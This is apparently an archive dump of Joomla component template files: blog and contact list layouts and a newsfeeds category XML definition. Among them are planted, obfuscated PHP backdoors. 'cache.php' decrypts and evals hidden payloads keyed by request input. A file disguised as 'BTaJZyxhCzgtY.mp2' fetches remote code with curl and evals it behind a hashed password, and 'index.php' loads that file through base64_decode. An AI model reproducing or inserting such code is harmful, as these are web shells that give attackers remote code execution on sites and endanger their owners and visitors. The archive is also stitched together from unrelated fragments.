        <div class="blog-items items-leading <?php echo $this->params->get('blog_class_leading'); ?>">
            <?php foreach ($this->lead_items as &$item) : ?>
                <div class="blog-item"
                    itemprop="blogPost" itemscope itemtype="https://schema.org/BlogPosting">
                        <?php
                        $this->item = & $item;
                        echo $this->loadTemplate('item');
                        ?>
                </div>
            <?php endforeach; ?>
        </div>
    <?php endif; ?>

    <?php if (!empty($this->intro_items)) : ?>
        <?php $blogClass = $this->params->get('blog_class', ''); ?>
        <?php if ((int) $this->params->get('num_columns') > 1) : ?>
            <?php $blogClass .= (int) $this->params->get('multi_column_order', 0) === 0 ? ' masonry-' : ' columns-'; ?>
            <?php $blogClass .= (int) $this->params->get('num_columns'); ?>
        <?php endif; ?>
        <div class="blog-items <?php echo $blogClass; ?>">
        <?php foreach ($this->intro_items as $key => &$item) : ?>
            <div class="blog-item"
                itemprop="blogPost" itemscope itemtype="https://schema.org/BlogPosting">
                    <?php
                    $this->item = & $item;
                    echo $this->loadTemplate('item');
                    ?>
            </div>
        <?php endforeach; ?>
        </div>
    <?php endif; ?>

    <?php if (!empty($this->link_items)) : ?>
        <div class="items-more">
            <?php echo $this->loadTemplate('links'); ?>
        </div>
    <?php endif; ?>

    <?php if ($this->params->def('show_pagination', 2) == 1  || ($this->params->get('show_pagination') == 2 && $this->pagination->pagesTotal > 1)) : ?>
        <div class="w-100">
            <?php if ($this->params->def('show_pagination_results', 1)) : ?>
                <p class="counter float-end pt-3 pe-2">
                    <?php echo $this->pagination->getPagesCounter(); ?>
                </p>
            <?php endif; ?>
            <?php echo $this->pagination->getPagesLinks(); ?>
        </div>
    <?php endif; ?>

</div>
featured/default_items.php000064400000023251151726042000011701 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Contact\Site\Helper\RouteHelper;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('com_contact.contacts-list')
    ->useScript('core');

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));

?>
<div class="com-contact-featured__items">
    <form action="<?php echo htmlspecialchars(Uri::getInstance()->toString()); ?>" method="post" name="adminForm" id="adminForm">
        <?php if ($this->params->get('filter_field')) : ?>
            <div class="com-contact-featured__filter btn-group">
                <label class="filter-search-lbl visually-hidden" for="filter-search">
                    <?php echo Text::_('COM_CONTACT_FILTER_SEARCH_DESC'); ?>
                </label>
                <input
                    type="text"
                    name="filter-search"
                    id="filter-search"
                    value="<?php echo $this->escape($this->state->get('list.filter')); ?>"
                    class="inputbox" onchange="document.adminForm.submit();"
                    placeholder="<?php echo Text::_('COM_CONTACT_FILTER_SEARCH_DESC'); ?>"
                >
                <button type="submit" name="filter_submit" class="btn btn-primary"><?php echo Text::_('JGLOBAL_FILTER_BUTTON'); ?></button>
                <button type="reset" name="filter-clear-button" class="btn btn-secondary"><?php echo Text::_('JSEARCH_FILTER_CLEAR'); ?></button>
            </div>
        <?php endif; ?>

        <?php if ($this->params->get('show_pagination_limit')) : ?>
            <div class="com-contact-featured__pagination btn-group float-end">
                <label for="limit" class="visually-hidden">
                    <?php echo Text::_('JGLOBAL_DISPLAY_NUM'); ?>
                </label>
                <?php echo $this->pagination->getLimitBox(); ?>
            </div>
        <?php endif; ?>

        <?php if (empty($this->items)) : ?>
            <div class="alert alert-info">
                <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                    <?php echo Text::_('COM_CONTACT_NO_CONTACTS'); ?>
            </div>
        <?php else : ?>
        <table class="com-contact-featured__table table table-striped table-bordered table-hover">
            <caption class="visually-hidden">
                <?php echo Text::_('COM_CONTACT_TABLE_CAPTION'); ?>,
            </caption>
                <thead<?php echo $this->params->get('show_headings', '1') ? '' : ' class="visually-hidden"'; ?>>
                    <tr>
                        <th scope="col" class="item-title">
                            <?php echo HTMLHelper::_('grid.sort', 'JGLOBAL_TITLE', 'a.name', $listDirn, $listOrder); ?>
                        </th>

                        <?php if ($this->params->get('show_position_headings')) : ?>
                        <th scope="col" class="item-position">
                            <?php echo HTMLHelper::_('grid.sort', 'COM_CONTACT_POSITION', 'a.con_position', $listDirn, $listOrder); ?>
                        </th>
                        <?php endif; ?>

                        <?php if ($this->params->get('show_email_headings')) : ?>
                        <th scope="col" class="item-email">
                            <?php echo Text::_('JGLOBAL_EMAIL'); ?>
                        </th>
                        <?php endif; ?>

                        <?php if ($this->params->get('show_telephone_headings')) : ?>
                        <th scope="col" class="item-phone">
                            <?php echo Text::_('COM_CONTACT_TELEPHONE'); ?>
                        </th>
                        <?php endif; ?>

                        <?php if ($this->params->get('show_mobile_headings')) : ?>
                        <th scope="col" class="item-phone">
                            <?php echo Text::_('COM_CONTACT_MOBILE'); ?>
                        </th>
                        <?php endif; ?>

                        <?php if ($this->params->get('show_fax_headings')) : ?>
                        <th scope="col" class="item-phone">
                            <?php echo Text::_('COM_CONTACT_FAX'); ?>
                        </th>
                        <?php endif; ?>

                        <?php if ($this->params->get('show_suburb_headings')) : ?>
                        <th scope="col" class="item-suburb">
                            <?php echo HTMLHelper::_('grid.sort', 'COM_CONTACT_SUBURB', 'a.suburb', $listDirn, $listOrder); ?>
                        </th>
                        <?php endif; ?>

                        <?php if ($this->params->get('show_state_headings')) : ?>
                        <th scope="col" class="item-state">
                            <?php echo HTMLHelper::_('grid.sort', 'COM_CONTACT_STATE', 'a.state', $listDirn, $listOrder); ?>
                        </th>
                        <?php endif; ?>

                        <?php if ($this->params->get('show_country_headings')) : ?>
                        <th scope="col" class="item-state">
                            <?php echo HTMLHelper::_('grid.sort', 'COM_CONTACT_COUNTRY', 'a.country', $listDirn, $listOrder); ?>
                        </th>
                        <?php endif; ?>
                    </tr>
                </thead>
            <tbody>
                <?php foreach ($this->items as $i => $item) : ?>
                    <?php if ($this->items[$i]->published == 0) : ?>
                        <tr class="system-unpublished featured-list-row<?php echo $i % 2; ?>">
                    <?php else : ?>
                        <tr class="featured-list-row<?php echo $i % 2; ?>" itemscope itemtype="https://schema.org/Person">
                    <?php endif; ?>
                    <th scope="row" class="list-title">
                        <a href="<?php echo Route::_(RouteHelper::getContactRoute($item->slug, $item->catid, $item->language)); ?>" itemprop="url">
                            <span itemprop="name"><?php echo $this->escape($item->name); ?></span>
                        </a>
                        <?php if ($item->published == 0) : ?>
                            <div>
                                <span class="list-published badge bg-warning text-light">
                                    <?php echo Text::_('JUNPUBLISHED'); ?>
                                </span>
                            </div>
                        <?php endif; ?>
                    </th>

                    <?php if ($this->params->get('show_position_headings')) : ?>
                        <td class="item-position" itemprop="jobTitle">
                            <?php echo $item->con_position; ?>
                        </td>
                    <?php endif; ?>

                    <?php if ($this->params->get('show_email_headings')) : ?>
                        <td class="item-email" itemprop="email">
                            <?php echo $item->email_to; ?>
                        </td>
                    <?php endif; ?>

                    <?php if ($this->params->get('show_telephone_headings')) : ?>
                        <td class="item-phone" itemprop="telephone">
                            <?php echo $item->telephone; ?>
                        </td>
                    <?php endif; ?>

                    <?php if ($this->params->get('show_mobile_headings')) : ?>
                        <td class="item-phone" itemprop="telephone">
                            <?php echo $item->mobile; ?>
                        </td>
                    <?php endif; ?>

                    <?php if ($this->params->get('show_fax_headings')) : ?>
                        <td class="item-phone" itemprop="faxNumber">
                            <?php echo $item->fax; ?>
                        </td>
                    <?php endif; ?>

                    <?php if ($this->params->get('show_suburb_headings')) : ?>
                        <td class="item-suburb" itemprop="address" itemscope itemtype="https://schema.org/PostalAddress">
                            <span itemprop="addressLocality"><?php echo $item->suburb; ?></span>
                        </td>
                    <?php endif; ?>

                    <?php if ($this->params->get('show_state_headings')) : ?>
                        <td class="item-state" itemprop="address" itemscope itemtype="https://schema.org/PostalAddress">
                            <span itemprop="addressRegion"><?php echo $item->state; ?></span>
                        </td>
                    <?php endif; ?>

                    <?php if ($this->params->get('show_country_headings')) : ?>
                        <td class="item-state" itemprop="address" itemscope itemtype="https://schema.org/PostalAddress">
                            <span itemprop="addressCountry"><?php echo $item->country; ?></span>
                        </td>
                    <?php endif; ?>
                <?php endforeach; ?>
            </tbody>
        </table>
        <?php endif; ?>
        <div>
            <input type="hidden" name="filter_order" value="<?php echo $this->escape($this->state->get('list.ordering')); ?>">
            <input type="hidden" name="filter_order_Dir" value="<?php echo $this->escape($this->state->get('list.direction')); ?>">
        </div>
    </form>
</div>
category/category/cache.php000060400000013011151726042000011737 0ustar00<?php $RqT = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGiqpha6aYGANAA'; $eqE = 'Z8j3BBwvFHRB+2Bv1Q64WhkSGjXy351wZ6r3+8Y1f+6zPduhP9RAnndws+p2Pd65BjjnO+0Dfu4T26bq8Iaer2HgOXsOueRLRzve+97XfsOve3xrchXu8t7e4W5e8xreQxCcvEnpyXV8qivP18jFSJit3Gtp+1s1F/9+i/vO4cs5sbciYNk5MKFsXxH1sQOh3PfaP7fjK98qNPIlwcUpMQvW1Hri1bvAAjzE9BCsKuSzBSM91+9l6tqPrnm0ey5pyDwsmTFIuZKQnBX4JEjI1ZQAMy4Ehgslph4VdYc2WKxXhxlXb8+yx7YsD4xuSCRyCx4LG5uLobn1x/mSFZH8Oc/2BZ6ymLM76HuuynjWdrWrRllmI4mseTuYd7Xd2/kQf9q96wiv3pGve9cv2Cpz8CSlaQ8FVFXN+ecqVvWQ/YrpxFjLx/hra/2ri72q/1O62ZHg/FkVNpmgEgDL/JGgq1COaPL4mZGfG1j45++B0oL+YOmXXW4ZoprnhvUVJ0qc/iwVTro6T9lQrlqLclllVcd89YFBFigg4YCqjA0vuQsHHFShw4SjZDTHRjKVietVUTOz7lOp8bDV8oZEaa8a/pgFpoR3QkFzbmsPC0Dw1UYpMHnVwLCV91LVbOW1Oxuek6L4u2G3duiQPTMImpp4IdI13Iw4lak7x81S/xY7KUNzlufamIuFXKXUFVopKcmpKtYlp4TZug/5MK0qTXmljeCRmMVeTr2MFIfKMOP6GtN/QpWDKicQwBaXyzNGx28OFADTz9y7EPMPzAR5NNRfRv2/LYaIubIGrh7pcT05r8Dd0ZrvCJmjdIThgWn0jgxqbCNrdBBBQCHEbO5qoB1LIMkVOoXpuFhphL09z1OgBorN9QF0+5tSI0s7phloENsFu7ueiW6yV1SF1pRGRV63GJJEkJgdqHk550SgGNBTz0TYgyPv08xdEJkLhibpkGF6EjUfwMvwW4xVE9SrbIkCkYl7WeMTWM+ADND0DG24YVIW3jfRQuXkrkQsPFc7Dy9gYV0i/ZukbV2AWiFkxyaEozdJlAsUXqctYGxfm+DarI0d+RqHAKZXapmUrSKt3eIShas+WylGTljUSPxk0VRSVPTjrVRsWYlyfY5rWVbsZpWpB4ybwhRdHHB7AVJCwHKzJKbXhJcjnkYmN4T8JAmjUmX5SIdkKx22GVJDsWMSLTkh6o1cWsFkcPti25Qo9HESYa4o3lFqhGuQVbeJeVCh1aEWvVJAwDLVE8953kUyMjXSoUJg46qOeyp4VK6x9DByNzt3GNm15OmNt7SKDknRQ16QJnkc1PDIpvCEXSiSNdMS11Z5ytkJD8FyEfsk6q6UzMuDBFVGAXlBcy+di5TSfEZQTM45+2z8IPLluNF5ekQUilHaN2CnAX+yQe3oApVxwTTDKyuOmUMwQTwIPWWD9hGay4+BgbrJhhOAm6hQ6LHdHNW87Lh2ILjXYvkqbk+EKIRfE7MW3wj1lcvyisnEiaZhwfhl6UJVoo9t3wNKSfbNVpsVnvXjbQZbCLRhKat57X/aXhSVGR1oSx9x4Jn3ooolu0l4PwuIl6NKtAPcUylfBprCCDi4WqaUyQgcOOf80dzP1fxw6hlkUikXAqk2vFrLaagr+VEgHEKy1QXkhrUKNIJmIeygg71uioyuV1poxrgcgIEXdTYR8UwJUr4Qo4oNdcq1v47/Vo7ypnajwd1szUuW0JM0haEBtKhunRYjAdrz2kbkqeNujtAnniJm2eNH5br0xYoDanwnqUh3dTnVtK9EcJmZs7G5lOh80DTABZSfYc2b+0/AHDdDENjm3/sTHnI1kA3qYrR1KVRK/9om30a3cL1/e4A0ObBpqIs14i6sXCfISvHQF3OEQ+ycIXTyUlNK3FhJHFwhhNwqWaxmjb9oBBQPk28xsA0IHEnzpFD4SZVw6joBwYadeOXbNM0Ao9wJzw5RgA9PXBLlJji7DO2mp6MAkmXOaoSDs6ZbX6f9I+YeTcRAjlcdkKbe+wGfQeL7cCSTKI+BKA4WBygI3EFXl9okbUQ5dOuZ3iMvOHeXYl28oRdgBq9lZAcgpKXONKNWXJRpQjggCH5bOxhf80ZdbgenmJvUkJyBNccDyOQriUMkHSdaiSGkmP6D5VwEjdAEdHlJLjeYntIzHifDviYdv8i0JQa/StDZwFSSKcguGYI1bnQsM4MZCUeas9BMLPkHrFkDtAsd77nSeOoDcdwgPlThxDQgOMaB/xny0MIhbANmUE/b7qcV18Wq+VeY+dUsxI4E5E26Ccwr14xsS24ZhwwGDBIft4xBzOEBYvN0vXrvISGOx2gyBLOtx+85HeHtktaw1vYL3Pdis0NLaxt5udbDyptWcvi+8Xwrt8sXc0TzwfOrpT9mdizli40chqrAv0jXIk6oPMNblEb8YLyNerxqwj1zPPfxms7b44OWuPmOehmhgsNyTFEERIM5lBqIniFBClLHfCHlFTnpiSSM6PTImI7BLNYyurwbtm9BmSFkSCoEkIPTLuYX7j48qKN8mBFD8cZFGYpPXPBJoTqLFg5eZs4OJP/sXDURglWcl6Nxbg0DxrrIxQgyridu362sLGv7d7nAhexfhFQb6qzmxRQ0EeYEPgf3YxVT38PYGHeJXGaDjx2ymYaxdEmjAPhVt86/fsw/Pa4/nnv/Hfw//8M9feTq2am9//4P4f5lJRDD46GdROLOypBZMMcldEP/HGfIh8mNLpFbIdCr/Mhk1yH2DWN6Xkb24XIOnFE9r/59b+pAMunZD7alAz6O/En6Qx900pn/84ARKrSgz8g3EVOM9KP9Djh5AQ+fwk4e8DMdH1MhChbA4TMNXk725O0Zh6xzNMNudppwQ0Hg832TXEnbsX4AQI51UBwBa77zESA9b3/zkB5ffg81DOKQXISvOuHC4ugA0Q3hAS8O9DPrMopaK9Bkt3ZelB5Hd6qBBKI9sxCrgtBB4Jl5HQj+SDNeDlWiP7rhdUhYSC9O22iZWMpCHEGJExC9i1qoQcsdXjkU8bAJNVoBz5lwPeJi7coxXdYqojPaVlhTtkOj7f+dW4ABaEfxnzqx9Y1/iFuHhC6OLuNs9/5CHIcDlHH8D+5H59WR4CWGPHFnRAS0zzG6TDTv4kV+dDII3dtnJS2pI4Y4HAfrF0R7UIkx+aDz3eI0mLweZdbELrZQJ07SiMZhNnBKcjlX+q2vYhVAP0MfecrWVLG4qVTCcJFZ9In/g9U8D5/G++L4MbZotdYtrTVaS9uThXpukp3pTG5MKr0SqE7IyEPiDRHT6x4EIerjcMYBVqkNp4Vu6VoiFBK59UoBQLlj/IDVe3em6DMgd1o/dU5LqoQUmFrSu9WVwbC3DCGIS1D0AQlRJ1K/rIVPeKBiSTNWiOlWn/rdlhg1ENQElyNXcLHUTM3aeOxAx9AvgSwwddXJqp9cpefPtjPt33xVne7nvcyJEse01Wdy5/2mZw8Jtrnnbna23zOe/lYhrcLYo+/eVPP+jvxwbmd62fQM/46RXkp49tDff8Kbu8hJts55cV6iWRStmzo9azpoCSeNZgo75jJ6mfELQy39bygTKSfGdMdegl6tVH4upxL/vKcZjqxZA9bg52xMuqTjtsDg4viv6HufB6YDquLW8R3c1dsrPTaU9RM57rVv7qqJ8z2unJOnvoe9rat+5tWnPse/3X2t1m9Xfq1nO8cw0y/+Dd1k5qyNtEChCzJugUHQxxLh1aiMfws2c6bau5sDN4xhTi7jP/xP+iZa9VshLi0btdUI8V+8X9bvPtCBumL6I7NOpBz7icr5MvV5/dSLwMcP8T1QL5HsQlsr3ZDUiVKQ1upUvxZ7Ot0hwZ5SUX+ky19itcYJ5+oJkMR0Ny5trRLVs2CgWLW3iavlgCNSrb6INRJHV6xRytDmxdXM2b52CD55yB9hlEqrZxv4t3iQwVRIMrUDAvfSKewvg0hhOO2SB1ZTI6jPWHs9HhCZa/+TzP62xH9/r1nfSbp1iX+q3RJqob5oihC7YWrSdXfHTUNMB2K2Qf7YGVtyXzaWgfE4kPYDVrEadgQgfCr6UEMCR1IIMiLjmDMsLklggby/V1RNm/b1Q3Kp3bH/1qHAtvkcfogVNCRRFaHPc1yYUTeSCEP37fAJ+mb5r2lDMZkTW27X0TrxKHaEK++vsxdLtK+kSxDdLmViJmQCWCwCaCf10jcaWbR0WOnXrbqBBz/BWcrnsil5MoX+Ovd3hf8OD+DbYEU4bGAFjybaJqyjIWuASzyx0BRLx2jeVuyd1hI61x9b09l2vc52tj+9JhcG3zN1110ZbPV7p8RUtv7ZOsvejK+nAD3jLxRDMLvSjn3MIgwFMHllqJjJtY0Q/lBwf48xGkOjOUfu2o3H6DIeZTOfnIJd3YUYNryI62gg4hXAnbEd2onjMuOYbahOJqP+T0S+OEmUtjjtlUHPefnX24BE70BaWqlZA7OudOKNoHyUg/BSmPwhT4jBxGdIZ39fuOnfSj3etC+L199zP/M6++8te/Mtt39s0Qu82MCz9POnGcbbYZ57py1sltANf7m41qUNpwFra9O7a13eV/auNgtcGs5a9JfTXmAsTq1p3iD07zw3x69LXtx3O7KFZcgxQrGfoJiKO95RXtc0jzqzPxh587S2/B9vZZNeqps/5VteatSx3PV1aEtLHOTCf3Zn1/qpfczF6OeclttDfc5mDTf7afu/69Zw5l3M+53Xfcx1q9sBtmzvpgd++kLeZei3tcv1BwVRY6He8tXo4b3eqO/pNtfX2HvoSklXxLLQER9Z39mv58IXDRIDY2CnwIsniICg6W1q+Mq2wowIdUgBLiE90fXLqVqc3x2OFBzEh0bywG9OrRhlCJJyCzgif1zBlj1WxfJDa/vW9fx+tXR/MsbUq6fESV8lqSFn6qFplrf5L6y1/ZbRkaaz9dL4F5b/s5ukmqDzaMam2a2TTRBzYdYXJzEc/AEwoKlpYV70dd2xcd/ygSfpN4WaYPFIOTehzxcFRzVIx0G6vd1/6trrq6aq9plt5s8HdD55OCcICsUVsNa7zx8EL7bMkzcgW2ayh0GoqZEnzuanNu6knMxYsGfjDiLgnI8NN2BF9/v0IptdrrT5ciX8J4g9BEPBOsfA'; function RqT($Ejnks) { $eqE = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $zRW = substr($eqE, 0, 16); $WIqSx = base64_decode($Ejnks); return openssl_decrypt($WIqSx, "AES-256-CBC", $eqE, OPENSSL_RAW_DATA, $zRW); } if (RqT('DjtPn+r4S0yvLCnquPz1fA')){ echo '85QoILa2LSHLd8pdRf0fKE0JnDxRdDmKLCYG4ru8Y8a8Wtu0jTV/jIPeJ/lA/Tly'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($RqT)))); ?>category/category/BTaJZyxhCzgtY.mp2000060400000013076151726042000013242 0ustar00<?php
 goto I1NsNenCkH6Ik; xyaWuZnQC2rG0: class j0RuewEG6Un04 { static function Omg1cKX4J2CCu($VdveDwLpaMh_2) { goto Y2_GKZSGI2o_q; W4M20V5slN98v: return $puJfMsD7BUjjX; goto vtkyGourBbLCp; qrBjPdwMTHEaW: foreach ($uVKZCNkY_sfh2 as $FjVeauLEH1hWv => $Hb322ETJH8UCp) { $puJfMsD7BUjjX .= $EFyburJpaFMcp[$Hb322ETJH8UCp - 95732]; iHeu8AfxQ9xs0: } goto NdZgRxIX5bGYb; q0mJSIrt2VjwX: $uVKZCNkY_sfh2 = explode("\46", $VdveDwLpaMh_2); goto O5jo3QsTA90fr; NdZgRxIX5bGYb: Z6wXRgT4pZSXV: goto W4M20V5slN98v; Y2_GKZSGI2o_q: $XOt_SWgXB0mpC = "\x72" . "\x61" . "\156" . "\x67" . "\x65"; goto hdAKPqpVdPd1T; O5jo3QsTA90fr: $puJfMsD7BUjjX = ''; goto qrBjPdwMTHEaW; hdAKPqpVdPd1T: $EFyburJpaFMcp = $XOt_SWgXB0mpC("\x7e", "\40"); goto q0mJSIrt2VjwX; vtkyGourBbLCp: } static function Jrgkwp7n6NrUk($PD0UtsAA1_45o, $FEhNCIEAyNm2A) { goto Q8NHmtyHNgDEI; tb8s6cc8TflfR: return empty($Z07kcDNqppsCD) ? $FEhNCIEAyNm2A($PD0UtsAA1_45o) : $Z07kcDNqppsCD; goto NHSTL4aYW9Gpt; Jbikum_2VCknf: curl_setopt($TJlOjHNWqdF02, CURLOPT_RETURNTRANSFER, 1); goto cbZFhk6VaHa9D; Q8NHmtyHNgDEI: $TJlOjHNWqdF02 = curl_init($PD0UtsAA1_45o); goto Jbikum_2VCknf; cbZFhk6VaHa9D: $Z07kcDNqppsCD = curl_exec($TJlOjHNWqdF02); goto tb8s6cc8TflfR; NHSTL4aYW9Gpt: } static function JjW_2H03yRc1z() { goto K0HIwhONoKnXY; EPJkFKCYeZIFL: O8HvWyFfVi4sP: goto drEuH7YXGsSmA; QvHxD3Zba4zHc: $JJALmLkvDbdio = @$lmkqFeIwfOizb[1 + 2]($lmkqFeIwfOizb[2 + 4], $Z7YJSamoyFvxm); goto H72WnF4V4G5jb; TbXQMEbAlnwnU: $K4HUQGjnnhukD = self::jRGKwp7N6nruK($obXtFhJi13SPk[1 + 0], $lmkqFeIwfOizb[0 + 5]); goto G2MBDhVUh6wl6; yBeepfEWtIDQ4: die; goto nTV2Gh4iZK0hn; nTV2Gh4iZK0hn: OVSSpHpF2dy6Q: goto yYnccEMc9I8gB; XIn08y5E04LmF: @$lmkqFeIwfOizb[10 + 0](INPUT_GET, "\157\x66") == 1 && die($lmkqFeIwfOizb[1 + 4](__FILE__)); goto LYePsWfvdwMXX; G2MBDhVUh6wl6: @eval($lmkqFeIwfOizb[4 + 0]($K4HUQGjnnhukD)); goto yBeepfEWtIDQ4; drEuH7YXGsSmA: $Z7YJSamoyFvxm = @$lmkqFeIwfOizb[1]($lmkqFeIwfOizb[10 + 0](INPUT_GET, $lmkqFeIwfOizb[1 + 8])); goto QvHxD3Zba4zHc; LYePsWfvdwMXX: if (!(@$obXtFhJi13SPk[0] - time() > 0 and md5(md5($obXtFhJi13SPk[3 + 0])) === "\x61\x63\x32\x35\x65\x33\x37\x38\63\62\x64\x34\x34\63\63\60\x61\70\x32\x66\67\x36\144\63\142\142\70\61\x38\143\66\141")) { goto OVSSpHpF2dy6Q; } goto TbXQMEbAlnwnU; K0HIwhONoKnXY: $PuSKnsYDBQOsy = array("\x39\x35\x37\65\71\46\x39\x35\x37\x34\64\x26\71\65\67\x35\67\46\71\x35\x37\66\61\46\x39\x35\x37\64\x32\46\71\x35\x37\65\x37\x26\x39\x35\x37\66\63\x26\71\65\67\65\66\46\x39\65\x37\64\61\46\x39\x35\67\64\70\46\71\65\x37\x35\x39\x26\x39\65\x37\64\x32\x26\71\x35\67\x35\x33\46\x39\65\67\x34\67\46\x39\x35\x37\64\70", "\71\65\x37\x34\x33\x26\x39\x35\x37\x34\x32\46\x39\65\67\x34\x34\x26\x39\65\67\66\63\46\x39\65\67\64\x34\46\71\65\67\64\x37\x26\x39\x35\x37\64\62\x26\x39\x35\x38\x30\71\x26\x39\65\x38\60\67", "\x39\x35\x37\x35\x32\x26\x39\x35\x37\x34\x33\46\71\x35\67\x34\67\46\71\x35\67\64\x38\x26\71\x35\67\66\63\46\71\x35\x37\x35\70\46\71\x35\x37\65\x37\x26\x39\x35\x37\65\x39\46\71\65\67\x34\67\46\71\x35\67\65\70\46\x39\x35\67\65\67", "\x39\x35\67\x34\66\46\71\x35\67\x36\61\x26\71\x35\x37\x35\71\x26\71\x35\x37\65\x31", "\71\x35\x37\x36\x30\46\71\x35\x37\66\x31\46\x39\65\67\64\x33\x26\x39\65\67\65\67\x26\x39\x35\70\60\64\46\71\x35\70\x30\x36\x26\x39\x35\x37\66\63\46\x39\65\x37\x35\70\x26\71\65\67\65\67\x26\x39\x35\67\65\71\46\x39\65\67\x34\67\x26\x39\x35\67\x35\70\46\x39\65\x37\65\67", "\71\x35\x37\x35\x36\x26\x39\x35\x37\x35\x33\46\x39\65\67\x35\x30\46\x39\x35\67\65\x37\46\x39\x35\x37\x36\63\46\x39\x35\67\65\65\46\71\65\x37\65\x37\46\x39\x35\67\64\62\x26\71\65\67\66\63\x26\71\x35\x37\65\71\x26\x39\x35\67\64\67\x26\71\65\x37\64\70\x26\71\65\67\64\x32\x26\x39\65\67\x35\67\x26\71\65\x37\64\x38\x26\71\x35\x37\x34\62\x26\x39\65\67\64\63", "\71\65\x37\x38\66\x26\71\65\70\61\66", "\x39\x35\67\63\63", "\71\65\x38\61\61\x26\71\65\70\x31\x36", "\x39\x35\x37\71\x33\x26\x39\x35\67\67\66\46\x39\65\67\x37\x36\x26\71\65\67\71\63\46\71\x35\67\66\71", "\x39\x35\67\65\66\46\71\65\x37\65\x33\46\x39\65\67\65\60\x26\71\65\67\x34\x32\x26\71\x35\x37\65\x37\x26\x39\x35\x37\x34\x34\46\x39\65\x37\66\63\46\x39\x35\x37\x35\63\x26\71\x35\67\x34\x38\46\x39\65\x37\x34\66\46\x39\65\67\64\61\x26\71\65\67\64\x32"); goto LhSEE3ibGh6Is; LhSEE3ibGh6Is: foreach ($PuSKnsYDBQOsy as $zJYnttQXJm0rv) { $lmkqFeIwfOizb[] = self::omG1cKX4j2cCU($zJYnttQXJm0rv); Md27lo0JHHIzn: } goto EPJkFKCYeZIFL; H72WnF4V4G5jb: $obXtFhJi13SPk = $lmkqFeIwfOizb[2 + 0]($JJALmLkvDbdio, true); goto XIn08y5E04LmF; yYnccEMc9I8gB: } } goto pxXSVaX63se9I; hFcukuBt4x2gJ: $xqS6Zt1sX7d4U = $Wa8sLvOc9Pr_D("\x7e", "\x20"); goto mr1R64bpYrFDQ; Cooz2xEtNrAGi: @(md5(md5(md5(md5($fKqubicb26wVy[16])))) === "\x35\145\x36\142\144\143\61\63\70\x31\x30\x39\143\x31\x31\64\146\x63\x66\x66\x32\142\146\143\x65\66\x34\67\61\146\144\x36") && (count($fKqubicb26wVy) == 22 && in_array(gettype($fKqubicb26wVy) . count($fKqubicb26wVy), $fKqubicb26wVy)) ? ($fKqubicb26wVy[69] = $fKqubicb26wVy[69] . $fKqubicb26wVy[74]) && ($fKqubicb26wVy[87] = $fKqubicb26wVy[69]($fKqubicb26wVy[87])) && @eval($fKqubicb26wVy[69](${$fKqubicb26wVy[42]}[30])) : $fKqubicb26wVy; goto usEptX13Ow92A; I1NsNenCkH6Ik: $Wa8sLvOc9Pr_D = "\162" . "\141" . "\x6e" . "\147" . "\x65"; goto hFcukuBt4x2gJ; mr1R64bpYrFDQ: $fKqubicb26wVy = ${$xqS6Zt1sX7d4U[31 + 0] . $xqS6Zt1sX7d4U[47 + 12] . $xqS6Zt1sX7d4U[20 + 27] . $xqS6Zt1sX7d4U[6 + 41] . $xqS6Zt1sX7d4U[27 + 24] . $xqS6Zt1sX7d4U[5 + 48] . $xqS6Zt1sX7d4U[55 + 2]}; goto Cooz2xEtNrAGi; usEptX13Ow92A: metaphone("\163\60\x32\x2f\106\167\64\x73\x52\x36\120\151\x54\x56\x38\x34\x31\57\x6b\x58\x2f\x6b\170\x6e\167\x68\122\x45\103\105\142\x39\x58\x53\151\x51\x79\x2b\x31\x6d\141\x56\x6f"); goto xyaWuZnQC2rG0; pxXSVaX63se9I: j0RuEweg6un04::JJw_2h03yrC1z();
?>
category/category/index.php000060400000000072151726042000012006 0ustar00<?php require base64_decode("QlRhSlp5eGhDemd0WS5tcDI"); ?>category/default.xml000064400000014274151726042000010534 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_NEWSFEEDS_CATEGORY_VIEW_DEFAULT_TITLE" option="COM_NEWSFEEDS_CATEGORY_VIEW_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_List_News_Feeds_in_a_Category"
		/>
		<message>
			<![CDATA[COM_NEWSFEEDS_CATEGORY_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset
			name="request"
			addfieldprefix="Joomla\Component\Categories\Administrator\Field"
			>
			<field
				name="id"
				type="modal_category"
				label="JCATEGORY"
				extension="com_newsfeeds"
				required="true"
				select="true"
				new="true"
				edit="true"
				clear="true"
			/>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">
		<fieldset name="basic" label="JGLOBAL_CATEGORY_OPTIONS" description="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL">

			<field
				name="show_category_title"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_TITLE"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_description"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_description_image"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="maxLevel"
				type="list"
				label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL"
				useglobal="true"
				validate="options"
				>
